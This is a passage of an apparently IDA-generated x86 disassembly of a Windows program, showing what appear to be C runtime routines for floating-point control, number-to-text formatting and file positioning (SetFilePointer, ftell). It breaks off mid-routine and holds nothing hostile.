proc near ; CODE XREF: sub_424E40+171p var_4 = word ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw [ebp+var_4] movsx eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_425AE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425B00 proc near ; CODE XREF: sub_424E40+349p var_4 = word ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw [ebp+var_4] fnclex movsx eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_425B00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425B20 proc near ; CODE XREF: sub_419730+11p ; sub_419730+67p ... var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi fstcw [ebp+var_8] mov eax, [ebp+arg_0] and eax, [ebp+arg_4] movsx ecx, [ebp+var_8] mov edx, [ebp+arg_4] not edx and ecx, edx or eax, ecx mov [ebp+var_4], ax fldcw [ebp+var_4] movsx eax, [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_425B20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425B60 proc near ; CODE XREF: sub_425310+25p ; sub_425310+50p ... var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_425B7D fld tbyte_447820 fistp [ebp+var_C] wait loc_425B7D: ; CODE XREF: sub_425B60+11j mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_425B97 fstsw ax fld tbyte_447820 fstp [ebp+var_8] wait fstsw ax loc_425B97: ; CODE XREF: sub_425B60+25j mov edx, [ebp+arg_0] and edx, 10h test edx, edx jz short loc_425BAB fld tbyte_44782C fstp [ebp+var_8] wait loc_425BAB: ; CODE XREF: sub_425B60+3Fj mov eax, [ebp+arg_0] and eax, 4 test eax, eax jz short loc_425BBE fldz fld1 fdivrp st(1), st fstp st wait loc_425BBE: ; CODE XREF: sub_425B60+53j mov ecx, [ebp+arg_0] and ecx, 20h test ecx, ecx jz short loc_425BCE fldpi fstp [ebp+var_8] wait loc_425BCE: ; CODE XREF: sub_425B60+66j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_425B60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BE0 proc near ; CODE XREF: sub_419870+15p ; .data:0042AEB5p push ebp mov ebp, esp push 30000h push 10000h call sub_42AE80 add esp, 8 pop ebp retn sub_425BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C00 proc near ; CODE XREF: sub_425C60:loc_425C99p var_1C = dword ptr -1Ch var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov dword ptr [ebp+var_18], 80000000h mov dword ptr [ebp+var_18+4], 4147FFFFh mov dword ptr [ebp+var_8], 0C0000000h mov dword ptr [ebp+var_8+4], 4150017Eh fld [ebp+var_8] fdiv [ebp+var_18] fmul [ebp+var_18] fsubr [ebp+var_8] fstp [ebp+var_10] fld [ebp+var_10] fcomp dbl_434D30 fnstsw ax test ah, 41h jnz short loc_425C4D mov [ebp+var_1C], 1 jmp short loc_425C54 ; --------------------------------------------------------------------------- loc_425C4D: ; CODE XREF: sub_425C00+42j mov [ebp+var_1C], 0 loc_425C54: ; CODE XREF: sub_425C00+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_425C00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C60 proc near ; CODE XREF: sub_419870+Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push offset aKernel32 ; "KERNEL32" call dword_4E0360 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_425C99 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" mov eax, [ebp+var_4] push eax call dword_4E0380 ; GetProcAddress mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_425C99 push 0 call [ebp+var_8] jmp short loc_425C9E ; --------------------------------------------------------------------------- loc_425C99: ; CODE XREF: sub_425C60+18j ; sub_425C60+30j call sub_425C00 loc_425C9E: ; CODE XREF: sub_425C60+37j mov esp, ebp pop ebp retn sub_425C60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425CB0 proc near ; CODE XREF: sub_4209A0+6CFp ; DATA XREF: sub_4198B0+21o ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_41A690 add esp, 4 cmp eax, 65h jz short loc_425D10 loc_425CCA: ; CODE XREF: sub_425CB0+5Ej mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp dword_447480, 1 jle short loc_425CF2 push 4 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_41FA40 add esp, 8 mov [ebp+var_C], eax jmp short loc_425D0A ; --------------------------------------------------------------------------- loc_425CF2: ; CODE XREF: sub_425CB0+2Aj mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_C], edx loc_425D0A: ; CODE XREF: sub_425CB0+40j cmp [ebp+var_C], 0 jnz short loc_425CCA loc_425D10: ; CODE XREF: sub_425CB0+18j mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl mov edx, [ebp+arg_0] mov al, byte_447484 mov [edx], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_425D2B: ; CODE XREF: sub_425CB0+A2j mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] mov dl, [ebp+var_8] mov [ecx], dl mov al, [ebp+var_4] mov [ebp+var_8], al mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jnz short loc_425D2B mov esp, ebp pop ebp retn sub_425CB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425D60 proc near ; CODE XREF: sub_4209A0+6F1p ; DATA XREF: sub_4198B0+Do ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_425D64: ; CODE XREF: sub_425D60+28j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_425D8A mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] movsx ecx, byte_447484 cmp eax, ecx jz short loc_425D8A mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_425D64 ; --------------------------------------------------------------------------- loc_425D8A: ; CODE XREF: sub_425D60+Cj ; sub_425D60+1Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx test ecx, ecx jz loc_425E33 loc_425DA1: ; CODE XREF: sub_425D60+6Aj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_425DCC mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 65h jz short loc_425DCC mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 45h jz short loc_425DCC mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_425DA1 ; --------------------------------------------------------------------------- loc_425DCC: ; CODE XREF: sub_425D60+49j ; sub_425D60+54j ... mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx loc_425DDB: ; CODE XREF: sub_425D60+8Fj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 30h jnz short loc_425DF1 mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx jmp short loc_425DDB ; --------------------------------------------------------------------------- loc_425DF1: ; CODE XREF: sub_425D60+84j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] movsx edx, byte_447484 cmp ecx, edx jnz short loc_425E0B mov eax, [ebp+arg_0] sub eax, 1 mov [ebp+arg_0], eax loc_425E0B: ; CODE XREF: sub_425D60+A0j ; sub_425D60+D1j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx test eax, eax jz short loc_425E33 jmp short loc_425E0B ; --------------------------------------------------------------------------- loc_425E33: ; CODE XREF: sub_425D60+3Bj ; sub_425D60+CFj mov esp, ebp pop ebp retn sub_425D60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E40 proc near ; DATA XREF: sub_4198B0+2Bo ; .data:off_447848o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] fld qword ptr [eax] fcomp dbl_4352F0 fnstsw ax test ah, 1 jnz short loc_425E5F mov [ebp+var_4], 1 jmp short loc_425E66 ; --------------------------------------------------------------------------- loc_425E5F: ; CODE XREF: sub_425E40+14j mov [ebp+var_4], 0 loc_425E66: ; CODE XREF: sub_425E40+1Dj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_425E40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E70 proc near ; CODE XREF: sub_4236C0+1138p ; DATA XREF: sub_4198B0+17o ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_425E9C mov eax, [ebp+arg_8] push eax lea ecx, [ebp+var_8] push ecx call sub_42B9B0 add esp, 8 mov edx, [ebp+arg_4] mov eax, [ebp+var_8] mov [edx], eax mov ecx, [ebp+var_4] mov [edx+4], ecx jmp short loc_425EB4 ; --------------------------------------------------------------------------- loc_425E9C: ; CODE XREF: sub_425E70+Aj mov edx, [ebp+arg_8] push edx lea eax, [ebp+var_C] push eax call sub_42BA30 add esp, 8 mov ecx, [ebp+arg_4] mov edx, [ebp+var_C] mov [ecx], edx loc_425EB4: ; CODE XREF: sub_425E70+2Aj mov esp, ebp pop ebp retn sub_425E70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425EC0 proc near ; CODE XREF: sub_426350+1Fp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_42BB70 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] add ecx, 1 push ecx mov edx, [ebp+var_4] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax xor edx, edx cmp [ebp+arg_8], 0 setnle dl add ecx, edx push ecx call sub_42BA70 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_425F40 add esp, 14h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_425EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F40 proc near ; CODE XREF: sub_425EC0+67p ; sub_426260+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 8 movsx eax, [ebp+arg_10] test eax, eax jz short loc_425F77 mov ecx, [ebp+arg_C] xor edx, edx cmp dword ptr [ecx], 2Dh setz dl mov eax, [ebp+arg_0] add eax, edx mov [ebp+var_4], eax xor ecx, ecx cmp [ebp+arg_4], 0 setnle cl push ecx mov edx, [ebp+var_4] push edx call sub_4263B0 add esp, 8 loc_425F77: ; CODE XREF: sub_425F40+Cj mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 2Dh jnz short loc_425F94 mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_425F94: ; CODE XREF: sub_425F40+43j cmp [ebp+arg_4], 0 jle short loc_425FB8 mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov al, byte_447484 mov [edx], al loc_425FB8: ; CODE XREF: sub_425F40+58j push offset aE000 ; "e+000" mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] movsx edx, [ebp+arg_10] neg edx sbb edx, edx inc edx add ecx, edx push ecx call sub_418870 add esp, 8 mov [ebp+var_4], eax cmp [ebp+arg_8], 0 jz short loc_425FE6 mov eax, [ebp+var_4] mov byte ptr [eax], 45h loc_425FE6: ; CODE XREF: sub_425F40+9Ej mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] mov eax, [edx+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 30h jz loc_42609F mov edx, [ebp+arg_C] mov eax, [edx+4] sub eax, 1 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_426021 mov ecx, [ebp+var_8] neg ecx mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh loc_426021: ; CODE XREF: sub_425F40+D1j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 64h jl short loc_426055 mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov [ebp+var_8], edx loc_426055: ; CODE XREF: sub_425F40+EEj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx cmp [ebp+var_8], 0Ah jl short loc_426089 mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov [ebp+var_8], edx loc_426089: ; CODE XREF: sub_425F40+122j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] add cl, byte ptr [ebp+var_8] mov edx, [ebp+var_4] mov [edx], cl loc_42609F: ; CODE XREF: sub_425F40+BBj mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_425F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4260B0 proc near ; CODE XREF: sub_426350+3Bp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_42BB70 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_8] add edx, [ecx+4] push edx mov eax, [ebp+var_4] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_4] add edx, ecx push edx call sub_42BA70 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_426120 add esp, 10h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_4260B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426120 proc near ; CODE XREF: sub_4260B0+5Bp ; sub_426260+D9p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_8], ecx movsx edx, [ebp+arg_C] test edx, edx jz short loc_426173 mov eax, [ebp+arg_8] xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl mov edx, [ebp+arg_0] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnz short loc_426173 mov ecx, [ebp+var_4] add ecx, [ebp+var_8] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 30h mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] mov byte ptr [ecx], 0 loc_426173: ; CODE XREF: sub_426120+18j ; sub_426120+33j mov edx, [ebp+arg_0] mov [ebp+var_4], edx mov eax, [ebp+arg_8] cmp dword ptr [eax], 2Dh jnz short loc_426190 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_426190: ; CODE XREF: sub_426120+5Fj mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jg short loc_4261B8 push 1 mov ecx, [ebp+var_4] push ecx call sub_4263B0 add esp, 8 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_4261C4 ; --------------------------------------------------------------------------- loc_4261B8: ; CODE XREF: sub_426120+77j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+4] mov [ebp+var_4], edx loc_4261C4: ; CODE XREF: sub_426120+96j cmp [ebp+arg_4], 0 jle loc_426256 push 1 mov eax, [ebp+var_4] push eax call sub_4263B0 add esp, 8 mov ecx, [ebp+var_4] mov dl, byte_447484 mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_8] cmp dword ptr [ecx+4], 0 jge short loc_426256 movsx edx, [ebp+arg_C] test edx, edx jz short loc_42620E mov eax, [ebp+arg_8] mov ecx, [eax+4] neg ecx mov [ebp+arg_4], ecx jmp short loc_426234 ; --------------------------------------------------------------------------- loc_42620E: ; CODE XREF: sub_426120+DFj mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax cmp [ebp+arg_4], eax jge short loc_426223 mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx jmp short loc_42622E ; --------------------------------------------------------------------------- loc_426223: ; CODE XREF: sub_426120+F9j mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax mov [ebp+var_10], eax loc_42622E: ; CODE XREF: sub_426120+101j mov ecx, [ebp+var_10] mov [ebp+arg_4], ecx loc_426234: ; CODE XREF: sub_426120+ECj mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] push eax call sub_4263B0 add esp, 8 mov ecx, [ebp+arg_4] push ecx push 30h mov edx, [ebp+var_4] push edx call sub_417700 add esp, 0Ch loc_426256: ; CODE XREF: sub_426120+A8j ; sub_426120+D7j mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_426120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426260 proc near ; CODE XREF: sub_426350+55p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h mov [ebp+var_30], 0 lea eax, [ebp+var_14] mov [ebp+var_38], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_42BB70 add esp, 10h mov eax, [ebp+var_38] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_34], ecx mov edx, [ebp+var_38] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call sub_42BA70 add esp, 0Ch mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 xor ecx, ecx cmp [ebp+var_34], eax setl cl mov [ebp+var_30], cl mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFCh jl short loc_4262EB mov ecx, [ebp+var_34] cmp ecx, [ebp+arg_8] jl short loc_426307 loc_4262EB: ; CODE XREF: sub_426260+81j push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_425F40 add esp, 14h jmp short loc_426341 ; --------------------------------------------------------------------------- loc_426307: ; CODE XREF: sub_426260+89j movsx eax, [ebp+var_30] test eax, eax jz short loc_42632B loc_42630F: ; CODE XREF: sub_426260+C2j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax test edx, edx jz short loc_426324 jmp short loc_42630F ; --------------------------------------------------------------------------- loc_426324: ; CODE XREF: sub_426260+C0j mov ecx, [ebp+var_4] mov byte ptr [ecx-2], 0 loc_42632B: ; CODE XREF: sub_426260+ADj push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_426120 add esp, 10h loc_426341: ; CODE XREF: sub_426260+A5j mov esp, ebp pop ebp retn sub_426260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426350 proc near ; CODE XREF: sub_4209A0+6ADp ; DATA XREF: sub_4198B0+3o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_42635F cmp [ebp+arg_8], 45h jnz short loc_426379 loc_42635F: ; CODE XREF: sub_426350+7j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_425EC0 add esp, 10h jmp short loc_4263AD ; --------------------------------------------------------------------------- loc_426379: ; CODE XREF: sub_426350+Dj cmp [ebp+arg_8], 66h jnz short loc_426395 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4260B0 add esp, 0Ch jmp short loc_4263AD ; --------------------------------------------------------------------------- loc_426395: ; CODE XREF: sub_426350+2Dj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_426260 add esp, 10h loc_4263AD: ; CODE XREF: sub_426350+27j ; sub_426350+43j pop ebp retn sub_426350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263B0 proc near ; CODE XREF: sub_425F40+2Fp ; sub_426120+7Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jz short loc_4263DC mov eax, [ebp+arg_0] push eax call sub_414EC0 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] add edx, [ebp+arg_4] push edx call sub_419A90 add esp, 0Ch loc_4263DC: ; CODE XREF: sub_4263B0+7j pop ebp retn sub_4263B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263E0 proc near ; CODE XREF: sub_41A040+10Ep ; sub_420720+216p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DE420 jnb short loc_426411 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42642C loc_426411: ; CODE XREF: sub_4263E0+Dj call sub_4224D0 mov dword ptr [eax], 9 call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42645E ; --------------------------------------------------------------------------- loc_42642C: ; CODE XREF: sub_4263E0+2Fj mov edx, [ebp+arg_0] push edx call sub_4299C0 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_426470 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_429A50 add esp, 4 mov eax, [ebp+var_4] loc_42645E: ; CODE XREF: sub_4263E0+4Aj mov esp, ebp pop ebp retn sub_4263E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426470 proc near ; CODE XREF: sub_41FD80+40Dp ; sub_4263E0+64p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax call sub_429840 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_42649E call sub_4224D0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_42651E ; --------------------------------------------------------------------------- loc_42649E: ; CODE XREF: sub_426470+19j mov ecx, [ebp+arg_8] push ecx push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_C] push eax call dword_4E03F0 ; SetFilePointer mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_4264C6 call dword_4E0350 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_4264CD ; --------------------------------------------------------------------------- loc_4264C6: ; CODE XREF: sub_426470+49j mov [ebp+var_4], 0 loc_4264CD: ; CODE XREF: sub_426470+54j cmp [ebp+var_4], 0 jz short loc_4264E4 mov ecx, [ebp+var_4] push ecx call sub_422430 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_42651E ; --------------------------------------------------------------------------- loc_4264E4: ; CODE XREF: sub_426470+61j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4DE320[edx*4] mov dl, [ecx+eax+4] and dl, 0FDh mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, dword_4DE320[eax*4] mov [eax+ecx+4], dl mov eax, [ebp+var_8] loc_42651E: ; CODE XREF: sub_426470+29j ; sub_426470+72j mov esp, ebp pop ebp retn sub_426470 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_426537: ; CODE XREF: .data:0042655Fj cmp dword ptr [ebp+8], 0 jnz short loc_42655B push offset dword_43449C push 0 push 32h push offset aFtell_c ; "ftell.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_42655B int 3 ; Trap to Debugger loc_42655B: ; CODE XREF: .data:0042653Bj ; .data:00426558j xor eax, eax test eax, eax jnz short loc_426537 mov ecx, [ebp+8] push ecx call sub_41AE20 add esp, 4 mov edx, [ebp+8] push edx call sub_4265A0 add esp, 4 mov [ebp-4], eax mov eax, [ebp+8] push eax call sub_41AE90 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265A0 proc near ; CODE XREF: sub_41A040+87p ; .data:00426571p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr 